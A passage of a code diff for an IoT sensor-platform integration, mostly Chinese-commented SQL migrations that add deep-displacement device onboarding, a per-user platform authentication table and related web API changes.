"field":"serial_number","required":true,"desc":"传感器名称"}, @@ -101,7 +129,7 @@ VALUES (@dcp_platform_id, '绑定轴力计', 'dcp_bind_stress', 'POST', '/api/ap INSERT INTO `platform_interface` (`platform_id`,`name`,`code`,`method`,`path`,`content_type`,`request_schema`,`response_schema`,`sort_order`,`remark`,`create_by`,`create_time`) VALUES (@dcp_platform_id, '绑定雨量计', 'dcp_bind_hyeto', 'POST', '/api/app/hyeto-sensor', 'application/json', '[ - {"name":"projectId", "type":"string","source":"extra", "field":"projectId", "required":true}, + {"name":"projectId", "type":"string","source":"device", "field":"platform_project_id", "required":true}, {"name":"pointId", "type":"string","source":"context","contextKey":"step1.id","required":true}, {"name":"deviceType", "type":"number","source":"fixed", "value":3, "required":true,"desc":"雨量计=3"}, {"name":"name", "type":"string","source":"device", "field":"serial_number","required":true}, @@ -115,7 +143,7 @@ VALUES (@dcp_platform_id, '绑定雨量计', 'dcp_bind_hyeto', 'POST', '/api/app INSERT INTO `platform_interface` (`platform_id`,`name`,`code`,`method`,`path`,`content_type`,`request_schema`,`response_schema`,`sort_order`,`remark`,`create_by`,`create_time`) VALUES (@dcp_platform_id, '绑定静力水准', 'dcp_bind_static_level', 'POST', '/api/app/static-level-device', 'application/json', '[ - {"name":"projectId", "type":"string","source":"extra", "field":"projectId", "required":true}, + {"name":"projectId", "type":"string","source":"device", "field":"platform_project_id", "required":true}, {"name":"pointId", "type":"string","source":"context","contextKey":"step1.id","required":true}, {"name":"deviceType", "type":"number","source":"fixed", "value":1002, "required":true,"desc":"静力水准=1002"}, {"name":"name", "type":"string","source":"device", "field":"serial_number","required":true}, @@ -126,6 +154,24 @@ VALUES (@dcp_platform_id, '绑定静力水准', 'dcp_bind_static_level', 'POST', '[{"name":"id","type":"string","path":"id","desc":"DCP设备ID"}]', 8, '将静力水准传感器绑定到测点', 'system', NOW()); +-- 9. 绑定深部位移 +INSERT INTO `platform_interface` (`platform_id`,`name`,`code`,`method`,`path`,`content_type`,`request_schema`,`response_schema`,`sort_order`,`remark`,`create_by`,`create_time`) +VALUES (@dcp_platform_id, '绑定深部位移', 'dcp_bind_deep_inclino', 'POST', '/api/app/deep-inclino-device', 'application/json', +'[ + {"name":"projectId", "type":"string","source":"device", "field":"platform_project_id","required":true}, + {"name":"pointId", "type":"string","source":"context", "contextKey":"step1.id", "required":true}, + {"name":"deviceType", "type":"number","source":"fixed", "value":1001, "required":true}, + {"name":"name", "type":"string","source":"device", "field":"serial_number", "required":true}, + {"name":"moduleId", "type":"string","source":"uuid", "required":true}, + {"name":"virtualId", "type":"string","source":"uuid", "required":true}, + {"name":"sensorIds", "type":"array", "source":"cascadedSubDeviceSensorIds", "required":true}, + {"name":"sensorDepths", "type":"array", "source":"cascadedSubDeviceDepths", "required":true}, + {"name":"holeDepth", "type":"number","source":"onboard_config", "field":"holeDepth", "required":true}, + {"name":"holeElevation","type":"number","source":"onboard_config", "field":"holeElevation", "required":true} +]', +'[{"name":"id","type":"string","path":"id","desc":"DCP设备ID"}]', +9, '将深部位移设备绑定到测点', 'system', NOW()); + -- ============================================= -- 1.5 推送数据接口(4个,设备绑定时选择推送接口用) @@ -184,12 +230,12 @@ VALUES (@dcp_platform_id, '推送静力水准数据', 'dcp_push_static_level', ' -- ============================================= --- 二、流程定义(6个) +-- 二、流程定义(7个) -- ============================================= -- 流程1:平台初始化(flow_type=1) INSERT INTO `platform_flow` (`platform_id`,`name`,`code`,`flow_type`,`sensor_type`,`enable`,`remark`,`create_by`,`create_time`) -VALUES (@dcp_platform_id, 'DCP平台初始化', 'dcp_init', 1, NULL, '1', '获取Token→userId→projectId,一次性执行', 'system', NOW()); +VALUES (@dcp_platform_id, 'DCP平台初始化', 'dcp_init', 1, NULL, '1', '获取Token→userId,一次性执行', 'system', NOW()); SET @flow_init_id = LAST_INSERT_ID(); @@ -208,14 +254,6 @@ VALUES (@flow_init_id, 2, '[{"field":"id","saveTo":"extra_config.userId"}]', '获取userId并保存'); -INSERT INTO `platform_flow_step` (`flow_id`,`step_order`,`interface_id`,`param_mapping`,`result_key`,`result_save`,`remark`) -VALUES (@flow_init_id, 3, - (SELECT id FROM platform_interface WHERE platform_id=@dcp_platform_id AND code='dcp_get_projects' LIMIT 1), - '{"userId":{"source":"context","contextKey":"step2.id"}}', - 'step3', - '[{"field":"id","saveTo":"extra_config.projectId"},{"field":"name","saveTo":"extra_config.projectName"}]', - '获取projectId并保存'); - -- 流程2:Token刷新(flow_type=3) INSERT INTO `platform_flow` (`platform_id`,`name`,`code`,`flow_type`,`sensor_type`,`enable`,`remark`,`create_by`,`create_time`) @@ -314,6 +352,25 @@ VALUES (@flow_static_level_id, 2, '[{"field":"id","saveTo":"device_mapping.platform_device_id"}]', '绑定静力水准'); +-- 流程7:深部位移设备入网(flow_type=2) +INSERT INTO `platform_flow` (`platform_id`,`name`,`code`,`flow_type`,`sensor_type`,`enable`,`remark`,`create_by`,`create_time`) +VALUES (@dcp_platform_id, 'DCP深部位移入网', 'dcp_onboard_deep_inclino', 2, 'deep_inclino', '1', '创建测点→绑定深部位移', 'system', NOW()); + +SET @flow_deep_inclino_id = LAST_INSERT_ID(); + +INSERT INTO `platform_flow_step` (`flow_id`,`step_order`,`interface_id`,`result_key`,`result_save`,`remark`) +VALUES (@flow_deep_inclino_id, 1, + (SELECT id FROM platform_interface WHERE platform_id=@dcp_platform_id AND code='dcp_create_point' LIMIT 1), + 'step1', + '[{"field":"id","saveTo":"device_mapping.platform_point_id"}]', + '创建测点'); + +INSERT INTO `platform_flow_step` (`flow_id`,`step_order`,`interface_id`,`result_key`,`result_save`,`remark`) +VALUES (@flow_deep_inclino_id, 2, + (SELECT id FROM platform_interface WHERE platform_id=@dcp_platform_id AND code='dcp_bind_deep_inclino' LIMIT 1), + 'step2', + '[{"field":"id","saveTo":"device_mapping.platform_device_id"}]', + '绑定深部位移'); @@ -324,7 +381,23 @@ SET @platform_id = (SELECT id FROM platform_instance WHERE code = 'dcp' LIMIT 1) UPDATE platform_interface SET request_schema = '[ - {"name":"projectId", "type":"string","source":"extra", "field":"projectId", "required":true,"desc":"项目ID"}, + {"name":"projectId","type":"string","source":"device","field":"platform_project_id","required":true,"desc":"项目ID"}, + {"name":"name", "type":"string","source":"device","field":"serial_number","required":true,"desc":"测点名称,用设备序列号"}, + {"name":"type", "type":"number","source":"fixed","value":3,"required":true,"desc":"测点类型,固定为3"} +]', update_by = 'system', update_time = NOW() +WHERE platform_id = @platform_id AND code = 'dcp_create_point'; + +DELETE s FROM platform_flow_step s +INNER JOIN platform_flow f ON f.id = s.flow_id +WHERE f.platform_id = @platform_id AND f.code = 'dcp_init' AND s.step_order > 2; + +UPDATE platform_flow +SET remark = '获取Token→userId,一次性执行', update_by = 'system', update_time = NOW() +WHERE platform_id = @platform_id AND code = 'dcp_init'; + +UPDATE platform_interface +SET request_schema = '[ + {"name":"projectId", "type":"string","source":"device", "field":"platform_project_id", "required":true,"desc":"项目ID"}, {"name":"pointId", "type":"string","source":"context","contextKey":"step1.id","required":true,"desc":"测点ID,来自创建测点步骤"}, {"name":"deviceType", "type":"number","source":"fixed", "value":5, "required":true,"desc":"设备类型,倾角=5"}, {"name":"name", "type":"string","source":"device", "field":"serial_number","required":true,"desc":"传感器名称"}, @@ -339,7 +412,7 @@ WHERE platform_id = @platform_id UPDATE platform_interface SET request_schema = '[ - {"name":"projectId", "type":"string","source":"extra", "field":"projectId", "required":true,"desc":"项目ID"}, + {"name":"projectId", "type":"string","source":"device", "field":"platform_project_id", "required":true,"desc":"项目ID"}, {"name":"pointId", "type":"string","source":"context","contextKey":"step1.id","required":true,"desc":"测点ID"}, {"name":"deviceType", "type":"number","source":"fixed", "value":10, "required":true,"desc":"设备类型,轴力计=10"}, {"name":"name", "type":"string","source":"device", "field":"serial_number","required":true,"desc":"传感器名称"}, @@ -354,7 +427,7 @@ WHERE platform_id = @platform_id UPDATE platform_interface SET request_schema = '[ - {"name":"projectId", "type":"string","source":"extra", "field":"projectId", "required":true}, + {"name":"projectId", "type":"string","source":"device", "field":"platform_project_id", "required":true}, {"name":"pointId", "type":"string","source":"context","contextKey":"step1.id","required":true}, {"name":"deviceType", "type":"number","source":"fixed", "value":3, "required":true,"desc":"雨量计=3"}, {"name":"name", "type":"string","source":"device", "field":"serial_number","required":true}, @@ -368,7 +441,7 @@ WHERE platform_id = @platform_id UPDATE platform_interface SET request_schema = '[ - {"name":"projectId", "type":"string","source":"extra", "field":"projectId", "required":true}, + {"name":"projectId", "type":"string","source":"device", "field":"platform_project_id", "required":true}, {"name":"pointId", "type":"string","source":"context","contextKey":"step1.id","required":true}, {"name":"deviceType", "type":"number","source":"fixed", "value":1002, "required":true,"desc":"静力水准=1002"}, {"name":"name", "type":"string","source":"device", "field":"serial_number","required":true}, diff --git a/sql/platform-integration.sql b/sql/platform-integration.sql index dbe83e3a..0295e1b0 100644 --- a/sql/platform-integration.sql +++ b/sql/platform-integration.sql @@ -120,6 +120,9 @@ CREATE TABLE IF NOT EXISTS `platform_flow_step` ( CREATE TABLE IF NOT EXISTS `platform_device_mapping` ( `id` bigint(20) NOT NULL AUTO_INCREMENT COMMENT 'id', `platform_id` bigint(20) NOT NULL COMMENT '所属平台ID', + `platform_user_auth_id` bigint(20) DEFAULT NULL COMMENT '关联用户认证ID', + `platform_project_id` varchar(100) NOT NULL COMMENT 'DCP项目ID', + `platform_project_name` varchar(255) DEFAULT NULL COMMENT 'DCP项目名称', `device_id` bigint(20) NOT NULL COMMENT 'FastBee设备ID', `serial_number` varchar(64) NOT NULL COMMENT 'FastBee设备序列号', `device_name` varchar(64) DEFAULT NULL COMMENT '默认为本平台设备名称,可以修改为对方平台需要的名称', @@ -142,12 +145,17 @@ CREATE TABLE IF NOT EXISTS `platform_device_mapping` ( `update_time` datetime DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP COMMENT '更新时间', PRIMARY KEY (`id`), KEY `idx_serial` (`serial_number`), - KEY `idx_platform_device` (`platform_id`, `device_id`) + KEY `idx_platform_device` (`platform_id`, `device_id`), + KEY `idx_user_auth` (`platform_user_auth_id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COMMENT='平台设备绑定关系'; -- ---------------------------- --- 5.1 设备绑定关系 - 新增 device_type 字段 +-- 5.1 设备绑定关系 - 补充绑定项目和设备类型字段 -- ---------------------------- +ALTER TABLE `platform_device_mapping` + ADD COLUMN IF NOT EXISTS `platform_project_id` varchar(100) DEFAULT NULL COMMENT 'DCP项目ID' AFTER `platform_id`, + ADD COLUMN IF NOT EXISTS `platform_project_name` varchar(255) DEFAULT NULL COMMENT 'DCP项目名称' AFTER `platform_project_id`; + ALTER TABLE `platform_device_mapping` ADD COLUMN IF NOT EXISTS `device_type` tinyint(1) NOT NULL DEFAULT 0 COMMENT '设备类型: 0=直连设备 1=网关设备(多子设备)' AFTER `sensor_type`; @@ -232,3 +240,38 @@ CREATE TABLE IF NOT EXISTS `platform_push_log` ( -- 注意:platform_id 需在创建 DCP 平台实例后更新,此处用占位符 0 -- 实际由 DcpPlatformAdapter 在初始化时写入 +-- ---------------------------- +-- 7. 创建平台用户认证表 +-- ---------------------------- +CREATE TABLE `platform_user_auth` ( + `id` bigint(20) NOT NULL AUTO_INCREMENT COMMENT 'id', + `platform_id` bigint(20) NOT NULL COMMENT '平台实例ID', + `platform_user_id` varchar(100) DEFAULT NULL COMMENT '平台侧用户ID(如DCP的userId)', + `platform_user_name` varchar(100) DEFAULT NULL COMMENT '平台侧用户名', + `auth_config` json DEFAULT NULL COMMENT '用户认证凭证JSON {userName,password,clientId,scope}', + `access_token` varchar(2000) DEFAULT NULL COMMENT '该用户的Token', + `token_expires_at` datetime DEFAULT NULL COMMENT 'Token过期时间', + `init_status` tinyint(1) NOT NULL DEFAULT 0 COMMENT '初始化状态(0=未初始化,1=已初始化)', + `extra_config` json DEFAULT NULL COMMENT '用户级配置 {projectId,projectName,...}', + `enable` char(1) NOT NULL DEFAULT '1' COMMENT '是否启用', + `remark` varchar(500) DEFAULT NULL COMMENT '备注', + `create_by` varchar(64) DEFAULT '' COMMENT '创建者', + `create_time` datetime DEFAULT CURRENT_TIMESTAMP COMMENT '创建时间', + `update_by` varchar(64) DEFAULT '' COMMENT '更新者', + `update_time` datetime DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP COMMENT '更新时间', + PRIMARY KEY (`id`), + UNIQUE KEY `uk_platform_user` (`platform_id`, `platform_user_id`), + KEY `idx_token_expire` (`token_expires_at`), + KEY `idx_init_status` (`init_status`), + KEY `idx_platform_id` (`platform_id`) +) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COMMENT='平台用户认证'; + +-- ---------------------------- +-- 2. 修改 platform_device_mapping 表 +-- ---------------------------- +-- 增加用户认证关联字段 +ALTER TABLE `platform_device_mapping` + ADD COLUMN `platform_user_auth_id` bigint(20) DEFAULT NULL COMMENT '关联用户认证ID' AFTER `platform_id`; + +-- 增加索引 +CREATE INDEX `idx_user_auth` ON `platform_device_mapping`(`platform_user_auth_id`); \ No newline at end of file diff --git a/yack-web/src/api/platform/flow.js b/yack-web/src/api/platform/flow.js index 0a6056fb..37cd4ab6 100644 --- a/yack-web/src/api/platform/flow.js +++ b/yack-web/src/api/platform/flow.js @@ -15,7 +15,3 @@ export function savePlatformFlow(data) { export function delPlatformFlow(id) { return request({ url: `/platform/flow/${id}`, method: 'delete' }) } - -export function executePlatformFlow(id) { - return request({ url: `/platform/flow/${id}/execute`, method: 'post' }) -} diff --git a/yack-web/src/api/platform/instance.js b/yack-web/src/api/platform/instance.js index 2edd81a4..f6d802e5 100644 --- a/yack-web/src/api/platform/instance.js +++ b/yack-web/src/api/platform/instance.js @@ -19,7 +19,3 @@ export function updatePlatformInstance(data) { export function delPlatformInstance(ids) { return request({ url: `/platform/instance/${ids}`, method: 'delete' }) } - -export function initializePlatform(id) { - return request({ url: `/platform/instance/${id}/initialize`, method: 'post' }) -} diff --git a/yack-web/src/api/platform/userAuth.js b/yack-web/src/api/platform/userAuth.js new file mode 100644 index 00000000..bd57e214 --- /dev/null +++ b/yack-web/src/api/platform/userAuth.js @@ -0,0 +1,33 @@ +import request from '@/utils/request' + +export function listPlatformUserAuth(params) { + return request({ url: '/platform/user-auth/list', method: 'get', params }) +} + +export function getInitializedUsers(platformId) { + return request({ url: `/platform/user-auth/initialized/${platformId}`, method: 'get' }) +} + +export function getPlatformUserAuth(id) { + return request({ url: `/platform/user-auth/${id}`, method: 'get' }) +} + +export function addPlatformUserAuth(data) { + return request({ url: '/platform/user-auth', method: 'post', data }) +} + +export function updatePlatformUserAuth(data) { + return request({ url: '/platform/user-auth', method: 'put', data }) +} + +export function delPlatformUserAuth(ids) { + return request({ url: `/platform/user-auth/${ids}`, method: 'delete' }) +} + +export function initializeUserAuth(id) { + return request({ url: `/platform/user-auth/${id}/initialize`, method: 'post' }) +} + +export function getProjectsByUserAuthId(id) { + return request({ url: `/platform/user-auth/${id}/projects`, method: 'get' }) +} diff --git a/yack-web/src/views/platform/components/InterfaceDrawer.vue b/yack-web/src/views/platform/components/InterfaceDrawer.vue index c2b323e2..1b6d9fb6 100644 --- a/yack-web/src/views/platform/components/InterfaceDrawer.vue +++ b/yack-web/src/views/platform/components/InterfaceDrawer.vue @@ -114,7 +114,7 @@ 入参定义(request_schema)

定义接口需要的入参字段。参数来源使用业务化名称: - 固定值、认证参数、平台参数、上一步结果、当前设备、自动UUID、子设备传感器列表、串联子设备传感器列表、串联子设备深度数组、基准点成对传感器列表、设备物模型、上报时间。数组字段可配置组包模式。 + 固定值、认证参数、平台参数、上一步结果、当前设备、自动UUID、子设备传感器列表、串联子设备传感器列表、入网深度数组、基准点成对传感器列表、设备物模型、上报时间。数组字段可配置组包模式。
@@ -145,7 +145,7 @@ - + @@ -170,6 +170,7 @@ + diff --git a/yack-web/src/views/platform/device-mapping/index.vue b/yack-web/src/views/platform/device-mapping/index.vue index 6b6bdacf..24ba7530 100644 --- a/yack-web/src/views/platform/device-mapping/index.vue +++ b/yack-web/src/views/platform/device-mapping/index.vue @@ -64,6 +64,12 @@ + + + @@ -128,6 +134,16 @@ + + + + + + + + + + +